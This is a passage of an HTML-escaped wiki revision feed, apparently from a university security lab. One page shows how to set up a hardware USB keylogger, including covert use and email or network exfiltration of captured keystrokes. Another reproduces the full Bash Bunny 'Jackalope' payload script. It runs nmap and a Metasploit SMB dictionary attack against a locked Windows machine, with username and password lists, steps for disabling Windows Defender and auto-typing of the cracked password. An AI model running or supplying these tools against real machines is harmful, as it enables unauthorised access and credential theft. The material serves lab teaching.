Don’t forget to apply settings with pressing for each section the “Save … “-button.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6. We can download the “Data log” under the “Download” button.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 8.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;7. With a click on &amp;quot;Data Log&amp;quot; we can observe what is typed on the external keyboard.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example of a Data Log&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 9.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Important Legal Notice [1] ===&lt;br /&gt;
&lt;br /&gt;
The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.&lt;br /&gt;
&lt;br /&gt;
[[File:This PC is monitored.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Keyboard compability limitations [1] ===&lt;br /&gt;
&lt;br /&gt;
The device will work with almost all types of physical USB keyboards (it won&#039;t work with internal laptop keyboards). It works fine with wireless keyboards, with exception of Bluetooth keyboards. It won&#039;t work a few types of keyboards with built-in high-speed USB hubs (primarily Apple A1243 and Dell KB522), for which the Mac/MCP series should be used. Support for some gaming keyboards is not fully guaranteed, as they often use proprietary protocols.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Keylogger_Max&amp;diff=10210</id>
		<title>AirDrive Keylogger Max</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=AirDrive_Keylogger_Max&amp;diff=10210"/>
		<updated>2022-06-28T18:04:15Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:AirDrive Keylogger Max.PNG|350px|thumb|right|AirDrive Keylogger Max]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
The &#039;&#039;&#039;AirDrive Keylogger Max&#039;&#039;&#039; is comparable to the &#039;&#039;&#039;AirDrive Forensic Keylogger Cable (Pro Version)&#039;&#039;&#039;. &lt;br /&gt;
It has additional connectivity and more download options. It works both as a Wi-Fi hotspot, and as a Wi-Fi device, enabling features such as Email reports and time stamping. 8GB of built-in memory was used.&lt;br /&gt;
&lt;br /&gt;
== Features==&lt;br /&gt;
&lt;br /&gt;
* Records keystrokes from any USB keyboard&lt;br /&gt;
* 16 gigabytes of built-in memory&lt;br /&gt;
* Memory accessible as a USB Hi-speed flash drive (480 Mbps)&lt;br /&gt;
* Undetectable for security software&lt;br /&gt;
* Supports over 40 national keyboard layouts&lt;br /&gt;
* Compatible with barcode readers&lt;br /&gt;
* Works as a Wi-Fi hotspot, or as a Wi-Fi device&lt;br /&gt;
* Sends Email reports with recorded keystroke data&lt;br /&gt;
* Supports time-stamping&lt;br /&gt;
* Supports live data streaming over network&lt;br /&gt;
* Connect from any computer, smartphone, or tablet&lt;br /&gt;
* Access keystroke data from web browser&lt;br /&gt;
* Supports WEP, WPA, and WPA-2 network security &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
You don’t need any physical access to access the logged data. It is available on its interface, which is accessible by connecting to it over Wi-Fi. Once you are connected, you can view the logged data in real-time or just download it. &lt;br /&gt;
To hide the keylogger, you can erase the log, disable further logging, or even hide the WLAN network.&lt;br /&gt;
It is simply installed by just connecting any types of USB keyboards or barcode reader. Just connect the keylogger in-line with the keyboard and all keystrokes will be recorded.&lt;br /&gt;
&lt;br /&gt;
There are a lot of configuring options, which will be shown in the practical part. &lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Connect the USB keylogger in-line with the external keyboard and the target host. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Connect your smartphone, tablet or computer to the Wi-Fi network &amp;quot;AIR_XXYYZZ&amp;quot;, where &amp;quot;XXYYZZ&amp;quot; is the device ID of the USB cable. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. You can then use any web browser to access the interface under the IP &amp;quot;192.168.4.1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 1.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. Open the settings to configure the keylogger cable. Various configurations can be made there:&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 2.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 3.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
We can click on “Toggle Keyboard” to make the keylogger act as a normal flash drive. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5. Since the Keylogger Max version has more features, we can take a look at the advanced settings: For every of the advanced settings, an internet connection will be needed. &lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 4.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
After you entered the SSID and the password of your WLAN network, you have to press the save button and restart the device, to activate the configurations. &lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 5.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
You can also use a specific NTP server from https://ntp.org&lt;br /&gt;
After configuration, keystrokes will be shown with timestamps in data log.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 6.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
Find out your SMTP server addresses either by command line or by an online-tool like https://www.dnswatch.info.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example (if you would use GMAIL):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Gmail SMTP server address: smtp.gmail.com&lt;br /&gt;
* Gmail SMTP name: Your full name&lt;br /&gt;
* Gmail SMTP username: Your full Gmail address (e.g. you@gmail.com)&lt;br /&gt;
* Gmail SMTP password: The password that you use to log in to Gmail&lt;br /&gt;
* Gmail SMTP port (TLS): 587&lt;br /&gt;
* Gmail SMTP port (SSL): 465&lt;br /&gt;
&lt;br /&gt;
Don’t forget to press the “Save” button.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 7.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
The IP of the target out by typing “ipconfig” in the terminal (Windows) and reading out the local IP address. Choose a free target port of your choice. &lt;br /&gt;
&lt;br /&gt;
You can download a UDP client or use instead the example client, which was already linked in the there.&lt;br /&gt;
&lt;br /&gt;
Don’t forget to press the “Save” button.&lt;br /&gt;
Don’t forget to apply settings with pressing for each section the “Save … “-button.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6. We can download the “Data log” under the “Download” button.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 8.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;7. With a click on &amp;quot;Data Log&amp;quot; we can observe what is typed on the external keyboard.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Example of a Data Log&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.&lt;br /&gt;
&lt;br /&gt;
[[File:Web Interface 9.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Important Legal Notice [1] ===&lt;br /&gt;
&lt;br /&gt;
The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.&lt;br /&gt;
&lt;br /&gt;
[[File:This PC is monitored.PNG|600px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
=== Keyboard compability limitations [1] ===&lt;br /&gt;
&lt;br /&gt;
The device will work with almost all types of physical USB keyboards (it won&#039;t work with internal laptop keyboards). It works fine with wireless keyboards, with exception of Bluetooth keyboards. It won&#039;t work a few types of keyboards with built-in high-speed USB hubs (primarily Apple A1243 and Dell KB522), for which the Mac/MCP series should be used. Support for some gaming keyboards is not fully guaranteed, as they often use proprietary protocols.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bash_Bunny_Exploit:_Jackalope&amp;diff=10209</id>
		<title>Bash Bunny Exploit: Jackalope</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bash_Bunny_Exploit:_Jackalope&amp;diff=10209"/>
		<updated>2022-06-28T17:33:50Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:&lt;br /&gt;
&lt;br /&gt;
* Manually select user &amp;amp; place focus on the password field at the login screen&lt;br /&gt;
* Toggle the switch position from switch1 to switch2 (or vice versa) &amp;amp; the bunny will auto-type the stored password.&lt;br /&gt;
&lt;br /&gt;
To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
=== Required Tools ===&lt;br /&gt;
&lt;br /&gt;
You must have a Metasploit installation up and running in path /tools/metasploit-framework/&lt;br /&gt;
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:&lt;br /&gt;
&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)&lt;br /&gt;
&lt;br /&gt;
By clicking on the links, a download will be started automatically. &lt;br /&gt;
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.&lt;br /&gt;
No further initial configuration is required for Firmware v1.6+.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender ===&lt;br /&gt;
&lt;br /&gt;
When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly. &lt;br /&gt;
&lt;br /&gt;
Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Select Start and type &amp;quot;Windows Security&amp;quot; to search for that app.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Select the Windows Security app from the search results, go to Virus &amp;amp; threat protection, and under Virus &amp;amp; threat protection settings select Manage settings.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Per attack configuration ===&lt;br /&gt;
&lt;br /&gt;
* userlist.txt contains usernames to use in attack.&lt;br /&gt;
* wordlist.txt contains passwords to use in attack.&lt;br /&gt;
&lt;br /&gt;
Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]&lt;br /&gt;
&lt;br /&gt;
=== LED Status ===&lt;br /&gt;
&lt;br /&gt;
[[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]]&lt;br /&gt;
&lt;br /&gt;
A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].&lt;br /&gt;
&lt;br /&gt;
=== Payload ===&lt;br /&gt;
&lt;br /&gt;
This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the &#039;&#039;&#039;auxiliary/scanner/smb/smb_login&#039;&#039;&#039; module for the exploit. &lt;br /&gt;
&lt;br /&gt;
=== Exploit overview === &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Name:&#039;&#039;&#039; SMB Login Check Scanner&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Module:&#039;&#039;&#039; auxiliary/scanner/smb/smb_login&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Source code:&#039;&#039;&#039; modules/auxiliary/scanner/smb/smb_login.rb&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclosure date:&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Last modification time:&#039;&#039;&#039; 2021-08-31 17:10:07 +0000&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Supported architecture(s):&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Supported platform(s):&#039;&#039;&#039; -&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target service / protocol:&#039;&#039;&#039; microsoft-ds, netbios-ssn&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target network port(s):&#039;&#039;&#039; 139, 445&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;List of CVEs:&#039;&#039;&#039; CVE-1999-0506&lt;br /&gt;
&lt;br /&gt;
This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.&lt;br /&gt;
&lt;br /&gt;
Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened. &lt;br /&gt;
&lt;br /&gt;
=== How do you enable port 445? ===&lt;br /&gt;
&lt;br /&gt;
Go Start &amp;gt; Control Panel &amp;gt; Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules &amp;gt; New rule. Then in the pop-up window, choose Port &amp;gt; Next &amp;gt;TCP &amp;gt; Specific local ports and type 445 and go Next. Create the rule.&lt;br /&gt;
&lt;br /&gt;
Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.&lt;br /&gt;
&lt;br /&gt;
== Payload Preperation ==&lt;br /&gt;
&lt;br /&gt;
=== payload.txt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
# Title: Jackalope&lt;br /&gt;
# Author: catatonic&lt;br /&gt;
# Version: 1.1.0&lt;br /&gt;
&lt;br /&gt;
# Check readiness &amp;amp; prepare environment&lt;br /&gt;
LED SETUP&lt;br /&gt;
&lt;br /&gt;
REQUIRETOOL metasploit-framework&lt;br /&gt;
ATTACKMODE HID RNDIS_ETHERNET&lt;br /&gt;
&lt;br /&gt;
# Ensure loot is available for recording results.&lt;br /&gt;
mount /dev/nandf /root/udisk/&lt;br /&gt;
&lt;br /&gt;
ORIGINAL_SWITCH=$SWITCH_POSITION&lt;br /&gt;
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION&lt;br /&gt;
LOOTBASE=/root/udisk/loot/Jackalope/&lt;br /&gt;
&lt;br /&gt;
# SETUP&lt;br /&gt;
GET TARGET_IP&lt;br /&gt;
GET TARGET_HOSTNAME&lt;br /&gt;
&lt;br /&gt;
COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)&lt;br /&gt;
COUNT=$((COUNT+1))&lt;br /&gt;
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT&lt;br /&gt;
mkdir -p $LOOTDIR&lt;br /&gt;
&lt;br /&gt;
MSF_DIR=/tools/metasploit-framework&lt;br /&gt;
&lt;br /&gt;
# Save environment informaiton:&lt;br /&gt;
echo &amp;quot;PAYLOAD_DIR: $PAYLOAD_DIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;MSF_DIR: $MSF_DIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;LOOTDIR: $LOOTDIR&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;TARGET_IP: $TARGET_IP&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
echo &amp;quot;TARGET_HOSTNAME: $TARGET_HOSTNAME&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
&lt;br /&gt;
SYNC ()&lt;br /&gt;
{&lt;br /&gt;
	sync; sleep 1; sync&lt;br /&gt;
}&lt;br /&gt;
CLEAR_PW()&lt;br /&gt;
{&lt;br /&gt;
	LED SPECIAL&lt;br /&gt;
	rm $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
	SYNC&lt;br /&gt;
	WAIT&lt;br /&gt;
}&lt;br /&gt;
ENTER_PW()&lt;br /&gt;
{&lt;br /&gt;
	sleep 1&lt;br /&gt;
	QUACK $ORIGINAL_SWITCH/quack_pass.txt&lt;br /&gt;
	QUACK ENTER&lt;br /&gt;
}&lt;br /&gt;
RECON()&lt;br /&gt;
{&lt;br /&gt;
	ATTACKMODE RNDIS_ETHERNET&lt;br /&gt;
	# Stage 1: Recon&lt;br /&gt;
	LED STAGE1&lt;br /&gt;
	echo &amp;quot;Executing nmap...&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
	nmap -p 445 -Pn $TARGET_IP &amp;gt; $LOOTDIR/nmap_results.txt&lt;br /&gt;
	if ! grep --quiet &amp;quot;445.*open&amp;quot; $LOOTDIR/nmap_results.txt;&lt;br /&gt;
	then&lt;br /&gt;
		LED FAIL2&lt;br /&gt;
		SYNC&lt;br /&gt;
		exit&lt;br /&gt;
	fi&lt;br /&gt;
}&lt;br /&gt;
EXPLOIT()&lt;br /&gt;
{&lt;br /&gt;
	# Stage 2: Exploit&lt;br /&gt;
	LED STAGE2&lt;br /&gt;
	export HOME=/root&lt;br /&gt;
	cd $MSF_DIR&lt;br /&gt;
	./msfconsole -q -x &amp;quot;use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit&amp;quot; &amp;gt; $LOOTDIR/msfconsole.txt&lt;br /&gt;
&lt;br /&gt;
	if ! grep --quiet &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt;&lt;br /&gt;
	then&lt;br /&gt;
		LED FAIL&lt;br /&gt;
		echo &amp;quot;Payload failed, no logins found...&amp;quot; &amp;gt;&amp;gt; $LOOTDIR/log.txt&lt;br /&gt;
		SYNC&lt;br /&gt;
		exit&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
	grep &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt  | grep -o \&#039;.*\&#039; | cut -d &#039;:&#039; -f 1 | cut -d &amp;quot;&#039;&amp;quot; -f 2 &amp;gt; $LOOTDIR/user.txt&lt;br /&gt;
	grep &amp;quot;^\[+\]&amp;quot; $LOOTDIR/msfconsole.txt  | grep -o \&#039;.*\&#039; | cut -d &#039;:&#039; -f 2 | cut -d &amp;quot;&#039;&amp;quot; -f 1 &amp;gt; $LOOTDIR/password.txt&lt;br /&gt;
&lt;br /&gt;
	# Focus needs to be set on the password field manually.&lt;br /&gt;
	echo -n &amp;quot;STRING &amp;quot; &amp;gt; $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
	cat $LOOTDIR/password.txt &amp;gt;&amp;gt; $PAYLOAD_DIR/quack_pass.txt&lt;br /&gt;
&lt;br /&gt;
	SYNC&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# High level view.&lt;br /&gt;
while true&lt;br /&gt;
do&lt;br /&gt;
	if [ -f $PAYLOAD_DIR/quack_pass.txt ];&lt;br /&gt;
	then&lt;br /&gt;
		LED FINISH&lt;br /&gt;
	else&lt;br /&gt;
		RECON&lt;br /&gt;
		EXPLOIT&lt;br /&gt;
		continue&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
	WAIT&lt;br /&gt;
&lt;br /&gt;
	# User&#039;s choice, clear old password or enter password.&lt;br /&gt;
	if [ &amp;quot;$SWITCH_POSITION&amp;quot; == &amp;quot;switch3&amp;quot; ];&lt;br /&gt;
	then&lt;br /&gt;
		CLEAR_PW&lt;br /&gt;
	else&lt;br /&gt;
		ENTER_PW&lt;br /&gt;
	fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== userlist.txt === &lt;br /&gt;
&lt;br /&gt;
Add here the usernames you want to attack on the target host, like for example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Administrator&lt;br /&gt;
Willi&lt;br /&gt;
Gast&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wordlist.txt === &lt;br /&gt;
&lt;br /&gt;
Add here the some common used passwords, which will be used to bruteforce the target host. For example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;123456&lt;br /&gt;
password&lt;br /&gt;
12345678&lt;br /&gt;
qwerty&lt;br /&gt;
123456789&lt;br /&gt;
12345&lt;br /&gt;
1234&lt;br /&gt;
111111&lt;br /&gt;
1234567&lt;br /&gt;
dragon&lt;br /&gt;
123123&lt;br /&gt;
baseball&lt;br /&gt;
abc123&lt;br /&gt;
football&lt;br /&gt;
monkey&lt;br /&gt;
letmein&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Execution ==&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Bash Bunny’s LED lights purple until the execution of the payload. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. While attacking the LED will blink in a yellow colour. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. When Bash Bunny was successful, the LED will light green. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6. After toggling the screen should lock up. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
In Bash Bunnys “loot”-folder the output of the attack could be found after the attack. &lt;br /&gt;
Following files can be found: &lt;br /&gt;
&lt;br /&gt;
* log.txt --&amp;gt; Can be used for troubleshooting/debugging. &lt;br /&gt;
* msfconsole.txt --&amp;gt; The non- and matching events of users to passwords on target host will displayed in this textfile.&lt;br /&gt;
* nmap_ results.txt --&amp;gt; Here the output of the nmap-scan is shown.&lt;br /&gt;
* password.txt --&amp;gt; All matching passwords are saved in this text file.&lt;br /&gt;
* user.txt --&amp;gt; All matching users are saved in this text file.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope&lt;br /&gt;
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login&lt;br /&gt;
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html&lt;br /&gt;
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960&lt;br /&gt;
* https://wiki.bashbunny.com/#!index.md#Tools&lt;br /&gt;
* https://docs.hak5.org/bash-bunny/writing-payloads/led&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Bash_Bunny_Exploit:_Jackalope&amp;diff=10208</id>
		<title>Bash Bunny Exploit: Jackalope</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Bash_Bunny_Exploit:_Jackalope&amp;diff=10208"/>
		<updated>2022-06-28T17:30:10Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: Created page with &amp;quot;== Summary ==   Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:  * Manually select user &amp;amp; place focus on the password field at the login screen * Toggle the switch position from switch1 to switch2 (or vice versa) &amp;amp; the bunny will auto-type the stored password.  To clear a stored password, move the switch to switch3 (aka arming mode) af...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:&lt;br /&gt;
&lt;br /&gt;
* Manually select user &amp;amp; place focus on the password field at the login screen&lt;br /&gt;
* Toggle the switch position from switch1 to switch2 (or vice versa) &amp;amp; the bunny will auto-type the stored password.&lt;br /&gt;
&lt;br /&gt;
To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
=== Required Tools ===&lt;br /&gt;
&lt;br /&gt;
You must have a Metasploit installation up and running in path /tools/metasploit-framework/&lt;br /&gt;
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:&lt;br /&gt;
&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]&lt;br /&gt;
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)&lt;br /&gt;
&lt;br /&gt;
By clicking on the links, a download will be started automatically. &lt;br /&gt;
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.&lt;br /&gt;
No further initial configuration is required for Firmware v1.6+.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender ===&lt;br /&gt;
&lt;br /&gt;
When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly. &lt;br /&gt;
&lt;br /&gt;
Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. Select Start and type &amp;quot;Windows Security&amp;quot; to search for that app.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. Select the Windows Security app from the search results, go to Virus &amp;amp; threat protection, and under Virus &amp;amp; threat protection settings select Manage settings.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Per attack configuration ===&lt;br /&gt;
&lt;br /&gt;
* userlist.txt contains usernames to use in attack.&lt;br /&gt;
* wordlist.txt contains passwords to use in attack.&lt;br /&gt;
&lt;br /&gt;
Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]&lt;br /&gt;
&lt;br /&gt;
=== LED Status ===&lt;br /&gt;
&lt;br /&gt;
[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]&lt;br /&gt;
&lt;br /&gt;
